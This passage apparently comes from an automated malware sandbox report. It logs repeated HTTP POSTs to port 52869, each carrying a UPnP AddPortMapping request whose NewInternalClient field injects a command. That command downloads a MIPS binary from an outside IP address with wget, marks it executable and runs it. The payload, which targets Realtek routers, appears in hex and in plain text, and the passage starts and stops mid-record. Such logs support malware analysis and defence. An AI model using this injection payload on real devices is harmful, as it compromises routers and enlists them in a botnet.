2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:47.355185032 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:52.475076914 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:02.714684010 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:24.218159914 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:05.177007914 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      14192.168.2.156058045.207.178.4652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:42.845259905 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:44.347405910 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
